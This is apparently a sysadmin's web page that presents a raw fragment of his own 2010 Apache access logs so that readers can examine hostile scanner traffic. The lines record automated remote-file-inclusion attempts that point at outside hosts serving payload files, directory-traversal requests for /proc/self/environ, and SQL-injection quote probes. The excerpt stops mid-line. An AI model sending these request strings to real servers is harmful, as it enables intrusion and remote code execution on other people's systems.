|
Home | Switchboard | Unix Administration | Red Hat | TCP/IP Networks | Neoliberalism | Toxic Managers |
(slightly skeptical) Educational society promoting "Back to basics" movement against IT overcomplexity and bastardization of classic Unix |
News | Recommended Links | ||||||
May | June | July | August | September | November | October | December |
|
Recently the number of "strange" access record in web logs jumped and it became interesting to analyze the logs and see what those people are doing. Here is one fragment that I have found manually:
|
85.92.68.99 - - [16/Aug/2010:06:51:08 -0600] "GET /Admin/Tivoli/TMF/Gateways/gateway_troubleshooting.shtml%20/skin_shop/standard/3_plugin_twindow/twindow_notice.php?shop_this_skin_path=http://www.progene.info/English/bodo.txt??? HTTP/1.1" 302 820 "-" "libwww-perl/5.831" 85.92.68.99 - - [16/Aug/2010:06:51:08 -0600] "GET /400.shtml?shop_this_skin_path=http://www.progene.info/English/bodo.txt%3f%3f%3f HTTP/1.1" 500 756 "-" "libwww-perl/5.831" 85.92.68.99 - - [16/Aug/2010:06:51:08 -0600] "GET /skin_shop/standard/3_plugin_twindow/twindow_notice.php?shop_this_skin_path=http://www.progene.info/English/bodo.txt??? HTTP/1.1" 302 820 "-" "libwww-perl/5.831" 85.92.68.99 - - [16/Aug/2010:06:51:08 -0600] "GET /400.shtml?shop_this_skin_path=http://www.progene.info/English/bodo.txt%3f%3f%3f HTTP/1.1" 500 756 "-" "libwww-perl/5.831" 85.92.68.99 - - [16/Aug/2010:06:51:08 -0600] "GET /400.shtml?shop_this_skin_path=http://www.progene.info/English/bodo.txt%3f%3f%3f HTTP/1.1" 500 756 "-" "libwww-perl/5.831" 67.223.224.130 - - [16/Aug/2010:07:14:51 -0600] "GET //phpAdsNew/view.inc.php?phpAds_path=http://www.growthinstitute.in/magazine/content/db.txt?? HTTP/1.1" 302 824 "-" "libwww-perl/5.831" 67.223.224.130 - - [16/Aug/2010:07:14:52 -0600] "GET /400.shtml?phpAds_path=http://www.growthinstitute.in/magazine/content/db.txt%3f%3f HTTP/1.1" 500 756 "-" "libwww-perl/5.831" 77.243.239.121 - - [16/Aug/2010:07:41:39 -0600] "GET /Copyright/Bulletin//index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 302 1046 "-" "libwww-perl/5.805" 77.243.239.121 - - [16/Aug/2010:07:41:39 -0600] "GET /400.shtml?_REQUEST=&_REQUEST%255boption%255d=com_content&_REQUEST%255bItemid%255d=1&GLOBALS=&mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%2500 HTTP/1.1" 500 756 "-" "libwww-perl/5.805" 77.243.239.121 - - [16/Aug/2010:07:41:39 -0600] "GET //index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 302 1046 "-" "libwww-perl/5.805" 77.243.239.121 - - [16/Aug/2010:07:41:40 -0600] "GET /400.shtml?_REQUEST=&_REQUEST%255boption%255d=com_content&_REQUEST%255bItemid%255d=1&GLOBALS=&mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%2500 HTTP/1.1" 500 756 "-" "libwww-perl/5.805" 77.243.239.121 - - [16/Aug/2010:07:41:40 -0600] "GET /Copyright//index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 302 1046 "-" "libwww-perl/5.805" 77.243.239.121 - - [16/Aug/2010:07:41:40 -0600] "GET /400.shtml?_REQUEST=&_REQUEST%255boption%255d=com_content&_REQUEST%255bItemid%255d=1&GLOBALS=&mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%2500 HTTP/1.1" 500 756 "-" "libwww-perl/5.805" 85.236.38.205 - - [16/Aug/2010:07:42:37 -0600] "GET /Copyright/Bulletin//index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 302 1046 "-" "libwww-perl/5.805" 85.236.38.205 - - [16/Aug/2010:07:42:38 -0600] "GET /400.shtml?_REQUEST=&_REQUEST%255boption%255d=com_content&_REQUEST%255bItemid%255d=1&GLOBALS=&mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%2500 HTTP/1.1" 500 756 "-" "libwww-perl/5.805" 85.236.38.205 - - [16/Aug/2010:07:42:38 -0600] "GET //index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 302 1046 "-" "libwww-perl/5.805" 85.236.38.205 - - [16/Aug/2010:07:42:39 -0600] "GET /400.shtml?_REQUEST=&_REQUEST%255boption%255d=com_content&_REQUEST%255bItemid%255d=1&GLOBALS=&mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%2500 HTTP/1.1" 500 756 "-" "libwww-perl/5.805" 85.236.38.205 - - [16/Aug/2010:07:42:39 -0600] "GET /Copyright//index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 302 1046 "-" "libwww-perl/5.805" 85.236.38.205 - - [16/Aug/2010:07:42:40 -0600] "GET /400.shtml?_REQUEST=&_REQUEST%255boption%255d=com_content&_REQUEST%255bItemid%255d=1&GLOBALS=&mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%2500 HTTP/1.1" 500 756 "-" "libwww-perl/5.805" 89.111.176.226 - - [16/Aug/2010:07:43:47 -0600] "GET /Copyright/Bulletin//index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 302 1046 "-" "libwww-perl/5.810" 89.111.176.226 - - [16/Aug/2010:07:43:48 -0600] "GET /400.shtml?_REQUEST=&_REQUEST%255boption%255d=com_content&_REQUEST%255bItemid%255d=1&GLOBALS=&mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%2500 HTTP/1.1" 500 756 "-" "libwww-perl/5.810" 89.111.176.226 - - [16/Aug/2010:07:43:48 -0600] "GET //index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 302 1046 "-" "libwww-perl/5.810" 89.111.176.226 - - [16/Aug/2010:07:43:49 -0600] "GET /400.shtml?_REQUEST=&_REQUEST%255boption%255d=com_content&_REQUEST%255bItemid%255d=1&GLOBALS=&mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%2500 HTTP/1.1" 500 756 "-" "libwww-perl/5.810" 89.111.176.226 - - [16/Aug/2010:07:43:49 -0600] "GET /Copyright//index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 302 1046 "-" "libwww-perl/5.810" 89.111.176.226 - - [16/Aug/2010:07:43:50 -0600] "GET /400.shtml?_REQUEST=&_REQUEST%255boption%255d=com_content&_REQUEST%255bItemid%255d=1&GLOBALS=&mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%2500 HTTP/1.1" 500 756 "-" "libwww-perl/5.810" 125.164.72.146 - - [16/Aug/2010:07:48:59 -0600] "GET /Copyright/Bulletin/index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://tubiwityu.fileave.com/casper/raw.txt? HTTP/1.1" 302 1004 "-" "libwww-perl/5.808" 125.164.72.146 - - [16/Aug/2010:07:49:00 -0600] "GET /400.shtml?_REQUEST=&_REQUEST%255boption%255d=com_content&_REQUEST%255bItemid%255d=1&GLOBALS=&mosConfig_absolute_path=http://tubiwityu.fileave.com/casper/raw.txt%3f HTTP/1.1" 500 756 "-" "libwww-perl/5.808" 125.164.72.146 - - [16/Aug/2010:07:49:01 -0600] "GET /index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://tubiwityu.fileave.com/casper/raw.txt? HTTP/1.1" 302 1004 "-" "libwww-perl/5.808" 125.164.72.146 - - [16/Aug/2010:07:49:02 -0600] "GET /Copyright/Bulletin/index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://tubiwityu.fileave.com/casper/raw.txt? HTTP/1.1" 302 1004 "-" "libwww-perl/5.808" 125.164.72.146 - - [16/Aug/2010:07:49:02 -0600] "GET /400.shtml?_REQUEST=&_REQUEST%255boption%255d=com_content&_REQUEST%255bItemid%255d=1&GLOBALS=&mosConfig_absolute_path=http://tubiwityu.fileave.com/casper/raw.txt%3f HTTP/1.1" 500 756 "-" "libwww-perl/5.808" 125.164.72.146 - - [16/Aug/2010:07:49:03 -0600] "GET /400.shtml?_REQUEST=&_REQUEST%255boption%255d=com_content&_REQUEST%255bItemid%255d=1&GLOBALS=&mosConfig_absolute_path=http://tubiwityu.fileave.com/casper/raw.txt%3f HTTP/1.1" 500 756 "-" "libwww-perl/5.808" 125.164.72.146 - - [16/Aug/2010:07:49:03 -0600] "GET /Copyright/index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://tubiwityu.fileave.com/casper/raw.txt? HTTP/1.1" 302 1004 "-" "libwww-perl/5.808" 125.164.72.146 - - [16/Aug/2010:07:49:04 -0600] "GET /index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://tubiwityu.fileave.com/casper/raw.txt? HTTP/1.1" 302 1004 "-" "libwww-perl/5.808" 125.164.72.146 - - [16/Aug/2010:07:49:04 -0600] "GET /400.shtml?_REQUEST=&_REQUEST%255boption%255d=com_content&_REQUEST%255bItemid%255d=1&GLOBALS=&mosConfig_absolute_path=http://tubiwityu.fileave.com/casper/raw.txt%3f HTTP/1.1" 500 756 "-" "libwww-perl/5.808" 125.164.72.146 - - [16/Aug/2010:07:49:05 -0600] "GET /Copyright/Bulletin/index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://tubiwityu.fileave.com/casper/raw.txt? HTTP/1.1" 302 1004 "-" "libwww-perl/5.808" 125.164.72.146 - - [16/Aug/2010:07:49:05 -0600] "GET /400.shtml?_REQUEST=&_REQUEST%255boption%255d=com_content&_REQUEST%255bItemid%255d=1&GLOBALS=&mosConfig_absolute_path=http://tubiwityu.fileave.com/casper/raw.txt%3f HTTP/1.1" 500 756 "-" "libwww-perl/5.808" 125.164.72.146 - - [16/Aug/2010:07:49:06 -0600] "GET /Copyright/index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://tubiwityu.fileave.com/casper/raw.txt? HTTP/1.1" 302 1004 "-" "libwww-perl/5.808" 125.164.72.146 - - [16/Aug/2010:07:49:06 -0600] "GET /400.shtml?_REQUEST=&_REQUEST%255boption%255d=com_content&_REQUEST%255bItemid%255d=1&GLOBALS=&mosConfig_absolute_path=http://tubiwityu.fileave.com/casper/raw.txt%3f HTTP/1.1" 500 756 "-" "libwww-perl/5.808" 125.164.72.146 - - [16/Aug/2010:07:49:07 -0600] "GET /400.shtml?_REQUEST=&_REQUEST%255boption%255d=com_content&_REQUEST%255bItemid%255d=1&GLOBALS=&mosConfig_absolute_path=http://tubiwityu.fileave.com/casper/raw.txt%3f HTTP/1.1" 500 756 "-" "libwww-perl/5.808" 125.164.72.146 - - [16/Aug/2010:07:49:07 -0600] "GET /index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://tubiwityu.fileave.com/casper/raw.txt? HTTP/1.1" 302 1004 "-" "libwww-perl/5.808" 125.164.72.146 - - [16/Aug/2010:07:49:08 -0600] "GET /400.shtml?_REQUEST=&_REQUEST%255boption%255d=com_content&_REQUEST%255bItemid%255d=1&GLOBALS=&mosConfig_absolute_path=http://tubiwityu.fileave.com/casper/raw.txt%3f HTTP/1.1" 500 756 "-" "libwww-perl/5.808" 125.164.72.146 - - [16/Aug/2010:07:49:09 -0600] "GET /Copyright/index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://tubiwityu.fileave.com/casper/raw.txt? HTTP/1.1" 302 1004 "-" "libwww-perl/5.808" 125.164.72.146 - - [16/Aug/2010:07:49:10 -0600] "GET /400.shtml?_REQUEST=&_REQUEST%255boption%255d=com_content&_REQUEST%255bItemid%255d=1&GLOBALS=&mosConfig_absolute_path=http://tubiwityu.fileave.com/casper/raw.txt%3f HTTP/1.1" 500 756 "-" "libwww-perl/5.808" 125.164.72.146 - - [16/Aug/2010:07:49:19 -0600] "GET /Copyright/Bulletin/index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://tubiwityu.fileave.com/casper/raw.txt? HTTP/1.1" 302 1004 "-" "libwww-perl/5.808" 125.164.72.146 - - [16/Aug/2010:07:49:20 -0600] "GET /400.shtml?_REQUEST=&_REQUEST%255boption%255d=com_content&_REQUEST%255bItemid%255d=1&GLOBALS=&mosConfig_absolute_path=http://tubiwityu.fileave.com/casper/raw.txt%3f HTTP/1.1" 500 756 "-" "libwww-perl/5.808" 125.164.72.146 - - [16/Aug/2010:07:49:21 -0600] "GET /index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://tubiwityu.fileave.com/casper/raw.txt? HTTP/1.1" 302 1004 "-" "libwww-perl/5.808" 125.164.72.146 - - [16/Aug/2010:07:49:22 -0600] "GET /400.shtml?_REQUEST=&_REQUEST%255boption%255d=com_content&_REQUEST%255bItemid%255d=1&GLOBALS=&mosConfig_absolute_path=http://tubiwityu.fileave.com/casper/raw.txt%3f HTTP/1.1" 500 756 "-" "libwww-perl/5.808" 125.164.72.146 - - [16/Aug/2010:07:49:23 -0600] "GET /Copyright/index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://tubiwityu.fileave.com/casper/raw.txt? HTTP/1.1" 302 1004 "-" "libwww-perl/5.808" 125.164.72.146 - - [16/Aug/2010:07:49:23 -0600] "GET /400.shtml?_REQUEST=&_REQUEST%255boption%255d=com_content&_REQUEST%255bItemid%255d=1&GLOBALS=&mosConfig_absolute_path=http://tubiwityu.fileave.com/casper/raw.txt%3f HTTP/1.1" 500 756 "-" "libwww-perl/5.808" 125.164.72.146 - - [16/Aug/2010:07:49:40 -0600] "GET /Copyright/Bulletin/index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://tubiwityu.fileave.com/casper/raw.txt? HTTP/1.1" 302 1004 "-" "libwww-perl/5.808" 125.164.72.146 - - [16/Aug/2010:07:49:41 -0600] "GET /400.shtml?_REQUEST=&_REQUEST%255boption%255d=com_content&_REQUEST%255bItemid%255d=1&GLOBALS=&mosConfig_absolute_path=http://tubiwityu.fileave.com/casper/raw.txt%3f HTTP/1.1" 500 756 "-" "libwww-perl/5.808" 125.164.72.146 - - [16/Aug/2010:07:49:42 -0600] "GET /index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://tubiwityu.fileave.com/casper/raw.txt? HTTP/1.1" 302 1004 "-" "libwww-perl/5.808" 125.164.72.146 - - [16/Aug/2010:07:49:43 -0600] "GET /400.shtml?_REQUEST=&_REQUEST%255boption%255d=com_content&_REQUEST%255bItemid%255d=1&GLOBALS=&mosConfig_absolute_path=http://tubiwityu.fileave.com/casper/raw.txt%3f HTTP/1.1" 500 756 "-" "libwww-perl/5.808" 125.164.72.146 - - [16/Aug/2010:07:49:44 -0600] "GET /Copyright/index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://tubiwityu.fileave.com/casper/raw.txt? HTTP/1.1" 302 1004 "-" "libwww-perl/5.808" 125.164.72.146 - - [16/Aug/2010:07:49:45 -0600] "GET /400.shtml?_REQUEST=&_REQUEST%255boption%255d=com_content&_REQUEST%255bItemid%255d=1&GLOBALS=&mosConfig_absolute_path=http://tubiwityu.fileave.com/casper/raw.txt%3f HTTP/1.1" 500 756 "-" "libwww-perl/5.808" 91.121.1.124 - - [16/Aug/2010:07:52:17 -0600] "GET /Copyright/Bulletin//index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 302 1046 "-" "libwww-perl/5.803" 91.121.1.124 - - [16/Aug/2010:07:52:21 -0600] "GET /400.shtml?_REQUEST=&_REQUEST%255boption%255d=com_content&_REQUEST%255bItemid%255d=1&GLOBALS=&mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%2500 HTTP/1.1" 500 756 "-" "libwww-perl/5.803" 91.121.1.124 - - [16/Aug/2010:07:52:21 -0600] "GET //index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 302 1046 "-" "libwww-perl/5.803" 91.121.1.124 - - [16/Aug/2010:07:52:22 -0600] "GET /400.shtml?_REQUEST=&_REQUEST%255boption%255d=com_content&_REQUEST%255bItemid%255d=1&GLOBALS=&mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%2500 HTTP/1.1" 500 756 "-" "libwww-perl/5.803" 91.121.1.124 - - [16/Aug/2010:07:52:22 -0600] "GET /Copyright//index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 302 1046 "-" "libwww-perl/5.803" 91.121.1.124 - - [16/Aug/2010:07:52:22 -0600] "GET /400.shtml?_REQUEST=&_REQUEST%255boption%255d=com_content&_REQUEST%255bItemid%255d=1&GLOBALS=&mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%2500 HTTP/1.1" 500 756 "-" "libwww-perl/5.803" 62.193.242.164 - - [16/Aug/2010:08:03:41 -0600] "GET /Social/Toxic_managers/Micromanagers/fighting_micromanagers.shtml HTTP/1.1" 500 811 "-" "libwww-perl/5.813" 62.193.242.164 - - [16/Aug/2010:08:03:43 -0600] "GET /Social/Toxic_managers/Micromanagers/fighting_micromanagers.shtml HTTP/1.1" 500 811 "-" "libwww-perl/5.813" 209.190.190.5 - - [16/Aug/2010:08:08:36 -0600] "GET /Tools/tr.shtml HTTP/1.0" 500 761 "-" "Lynx/2.8.5rel.1 libwww-FM/2.14FM SSL-MM/1.4.1 OpenSSL/0.9.7d-dev" 186.28.232.13 - - [16/Aug/2010:08:55:46 -0600] "GET /images/errors.php?error=http://jspo.org/images/gallery/id.txt??? HTTP/1.1" 302 786 "-" "libwww-perl/5.805" 186.28.232.13 - - [16/Aug/2010:08:55:46 -0600] "GET /DB/images/errors.php?error=http://jspo.org/images/gallery/id.txt??? HTTP/1.1" 302 786 "-" "libwww-perl/5.805" 186.28.232.13 - - [16/Aug/2010:08:55:46 -0600] "GET /DB/index.shtml/images/errors.php?error=http://jspo.org/images/gallery/id.txt??? HTTP/1.1" 302 786 "-" "libwww-perl/5.805" 186.28.232.13 - - [16/Aug/2010:08:55:46 -0600] "GET /400.shtml?error=http://jspo.org/images/gallery/id.txt%3f%3f%3f HTTP/1.1" 500 756 "-" "libwww-perl/5.805" 186.28.232.13 - - [16/Aug/2010:08:55:46 -0600] "GET /400.shtml?error=http://jspo.org/images/gallery/id.txt%3f%3f%3f HTTP/1.1" 500 756 "-" "libwww-perl/5.805" 186.28.232.13 - - [16/Aug/2010:08:55:46 -0600] "GET /400.shtml?error=http://jspo.org/images/gallery/id.txt%3f%3f%3f HTTP/1.1" 500 756 "-" "libwww-perl/5.805" 222.122.13.12 - - [16/Aug/2010:08:57:05 -0600] "GET /Scripting/php.shtml/errors.php?error=http://daviz.fileave.com/ID-RFI.txt?? HTTP/1.1" 302 776 "-" "libwww-perl/5.79" 222.122.13.12 - - [16/Aug/2010:08:57:05 -0600] "GET /400.shtml?error=http://daviz.fileave.com/ID-RFI.txt%3f%3f HTTP/1.1" 500 756 "-" "libwww-perl/5.79" 222.122.13.12 - - [16/Aug/2010:08:57:06 -0600] "GET /errors.php?error=http://daviz.fileave.com/ID-RFI.txt?? HTTP/1.1" 302 776 "-" "libwww-perl/5.79" 222.122.13.12 - - [16/Aug/2010:08:57:06 -0600] "GET /400.shtml?error=http://daviz.fileave.com/ID-RFI.txt%3f%3f HTTP/1.1" 500 756 "-" "libwww-perl/5.79" 222.122.13.12 - - [16/Aug/2010:08:57:06 -0600] "GET /Scripting/errors.php?error=http://daviz.fileave.com/ID-RFI.txt?? HTTP/1.1" 302 776 "-" "libwww-perl/5.79" 222.122.13.12 - - [16/Aug/2010:08:57:07 -0600] "GET /400.shtml?error=http://daviz.fileave.com/ID-RFI.txt%3f%3f HTTP/1.1" 500 756 "-" "libwww-perl/5.79" 109.86.145.204 - - [16/Aug/2010:09:48:06 -0600] "GET /Malware/Malicious_web/Bulletin/index.php?option=com_awiki&controller=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 302 876 "-" "libwww-perl/5.810" 109.86.145.204 - - [16/Aug/2010:09:48:07 -0600] "GET /400.shtml?option=com_awiki&controller=../../../../../../../../../../../../../../../proc/self/environ%2500 HTTP/1.1" 500 756 "-" "libwww-perl/5.810" 109.86.145.204 - - [16/Aug/2010:09:48:07 -0600] "GET /index.php?option=com_awiki&controller=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 302 876 "-" "libwww-perl/5.810" 109.86.145.204 - - [16/Aug/2010:09:48:08 -0600] "GET /400.shtml?option=com_awiki&controller=../../../../../../../../../../../../../../../proc/self/environ%2500 HTTP/1.1" 500 756 "-" "libwww-perl/5.810" 109.86.145.204 - - [16/Aug/2010:09:48:08 -0600] "GET /Malware/Malicious_web/index.php?option=com_awiki&controller=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 302 876 "-" "libwww-perl/5.810" 109.86.145.204 - - [16/Aug/2010:09:48:08 -0600] "GET /400.shtml?option=com_awiki&controller=../../../../../../../../../../../../../../../proc/self/environ%2500 HTTP/1.1" 500 756 "-" "libwww-perl/5.810" 74.8.102.118 - - [16/Aug/2010:10:10:24 -0600] "GET /Tools/tr.shtml HTTP/1.0" 500 761 "-" "Lynx/2.8.7dev.2 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d" 222.122.13.12 - - [16/Aug/2010:11:03:39 -0600] "GET /load_lang.php?_SERWEB[serwebdir]=http://www.progene.info/English/bodo.txt??? HTTP/1.1" 302 826 "-" "libwww-perl/5.79" 222.122.13.12 - - [16/Aug/2010:11:03:39 -0600] "GET /Solaris/oss_for_solaris.shtml/load_lang.php?_SERWEB[serwebdir]=http://www.progene.info/English/bodo.txt??? HTTP/1.1" 302 826 "-" "libwww-perl/5.79" 222.122.13.12 - - [16/Aug/2010:11:03:39 -0600] "GET /Solaris/load_lang.php?_SERWEB[serwebdir]=http://www.progene.info/English/bodo.txt??? HTTP/1.1" 302 826 "-" "libwww-perl/5.79" 222.122.13.12 - - [16/Aug/2010:11:03:39 -0600] "GET /400.shtml?_SERWEB%5bserwebdir%5d=http://www.progene.info/English/bodo.txt%3f%3f%3f HTTP/1.1" 500 756 "-" "libwww-perl/5.79" 222.122.13.12 - - [16/Aug/2010:11:03:39 -0600] "GET /400.shtml?_SERWEB%5bserwebdir%5d=http://www.progene.info/English/bodo.txt%3f%3f%3f HTTP/1.1" 500 756 "-" "libwww-perl/5.79" 222.122.13.12 - - [16/Aug/2010:11:03:39 -0600] "GET /400.shtml?_SERWEB%5bserwebdir%5d=http://www.progene.info/English/bodo.txt%3f%3f%3f HTTP/1.1" 500 756 "-" "libwww-perl/5.79" 84.242.142.98 - - [16/Aug/2010:11:42:34 -0600] "GET /Solaris/Security/solaris_root_password_recovery.shtml////?_SERVER[DOCUMENT_ROOT]=http://genol.fileave.com/MC22.txt? HTTP/1.1" 302 808 "-" "libwww-perl/5.65" 84.242.142.98 - - [16/Aug/2010:11:42:34 -0600] "GET /400.shtml?_SERVER%5bDOCUMENT_ROOT%5d=http://genol.fileave.com/MC22.txt%3f HTTP/1.1" 500 756 "-" "libwww-perl/5.65" 84.242.142.98 - - [16/Aug/2010:11:42:35 -0600] "GET ////?_SERVER[DOCUMENT_ROOT]=http://genol.fileave.com/MC22.txt? HTTP/1.1" 500 747 "-" "libwww-perl/5.65" 84.242.142.98 - - [16/Aug/2010:11:42:35 -0600] "GET /Solaris/Security////?_SERVER[DOCUMENT_ROOT]=http://genol.fileave.com/MC22.txt? HTTP/1.1" 500 767 "-" "libwww-perl/5.65" 84.242.142.98 - - [16/Aug/2010:11:42:36 -0600] "GET /Solaris/Security/solaris_root_password_recovery.shtml////?_SERVER[DOCUMENT_ROOT]=http://genol.fileave.com/MC22.txt? HTTP/1.1" 302 808 "-" "libwww-perl/5.65" 84.242.142.98 - - [16/Aug/2010:11:42:36 -0600] "GET /400.shtml?_SERVER%5bDOCUMENT_ROOT%5d=http://genol.fileave.com/MC22.txt%3f HTTP/1.1" 500 756 "-" "libwww-perl/5.65" 84.242.142.98 - - [16/Aug/2010:11:42:36 -0600] "GET ////?_SERVER[DOCUMENT_ROOT]=http://genol.fileave.com/MC22.txt? HTTP/1.1" 500 747 "-" "libwww-perl/5.65" 84.242.142.98 - - [16/Aug/2010:11:42:37 -0600] "GET /Solaris/Security////?_SERVER[DOCUMENT_ROOT]=http://genol.fileave.com/MC22.txt? HTTP/1.1" 500 767 "-" "libwww-perl/5.65" 203.147.62.92 - - [16/Aug/2010:12:21:15 -0600] "GET /Scripting/php.shtml/index.php?zone=shop/product.asp?CategoryID=' HTTP/1.1" 302 754 "-" "libwww-perl/5.805" 203.147.62.92 - - [16/Aug/2010:12:21:16 -0600] "GET /Scripting/php.shtml/index.php?zone=shop/product.asp?CategoryID=' HTTP/1.1" 302 754 "-" "libwww-perl/5.805" 203.147.62.92 - - [16/Aug/2010:12:21:16 -0600] "GET /400.shtml?zone=shop/product.asp%3fCategoryID=' HTTP/1.1" 500 756 "-" "libwww-perl/5.805" 203.147.62.92 - - [16/Aug/2010:12:21:16 -0600] "GET /400.shtml?zone=shop/product.asp%3fCategoryID=' HTTP/1.1" 500 756 "-" "libwww-perl/5.805" 203.147.62.92 - - [16/Aug/2010:12:21:16 -0600] "GET /index.php?zone=shop/product.asp?CategoryID=' HTTP/1.1" 302 754 "-" "libwww-perl/5.805" 203.147.62.92 - - [16/Aug/2010:12:21:17 -0600] "GET /index.php?zone=shop/product.asp?CategoryID=' HTTP/1.1" 302 754 "-" "libwww-perl/5.805" 203.147.62.92 - - [16/Aug/2010:12:21:17 -0600] "GET /400.shtml?zone=shop/product.asp%3fCategoryID=' HTTP/1.1" 500 756 "-" "libwww-perl/5.805" 203.147.62.92 - - [16/Aug/2010:12:21:17 -0600] "GET /400.shtml?zone=shop/product.asp%3fCategoryID=' HTTP/1.1" 500 756 "-" "libwww-perl/5.805" 203.147.62.92 - - [16/Aug/2010:12:21:17 -0600] "GET /Scripting/index.php?zone=shop/product.asp?CategoryID=' HTTP/1.1" 302 754 "-" "libwww-perl/5.805" 203.147.62.92 - - [16/Aug/2010:12:21:18 -0600] "GET /Scripting/index.php?zone=shop/product.asp?CategoryID=' HTTP/1.1" 302 754 "-" "libwww-perl/5.805" 203.147.62.92 - - [16/Aug/2010:12:21:18 -0600] "GET /400.shtml?zone=shop/product.asp%3fCategoryID=' HTTP/1.1" 500 756 "-" "libwww-perl/5.805" 203.147.62.92 - - [16/Aug/2010:12:21:18 -0600] "GET /400.shtml?zone=shop/product.asp%3fCategoryID=' HTTP/1.1" 500 756 "-" "libwww-perl/5.805" 194.146.226.69 - - [16/Aug/2010:12:26:19 -0600] "GET /index.php?pageid=' HTTP/1.1" 302 698 "-" "libwww-perl/5.834" 194.146.226.69 - - [16/Aug/2010:12:26:19 -0600] "GET /400.shtml?pageid=' HTTP/1.1" 500 756 "-" "libwww-perl/5.834" 194.146.226.69 - - [16/Aug/2010:12:28:51 -0600] "GET /Admin/Tivoli/TEC/Event_console/index.shtml/index.php?pageid=' HTTP/1.1" 302 698 "-" "libwww-perl/5.834" 194.146.226.69 - - [16/Aug/2010:12:28:52 -0600] "GET /400.shtml?pageid=' HTTP/1.1" 500 756 "-" "libwww-perl/5.834" 194.146.226.69 - - 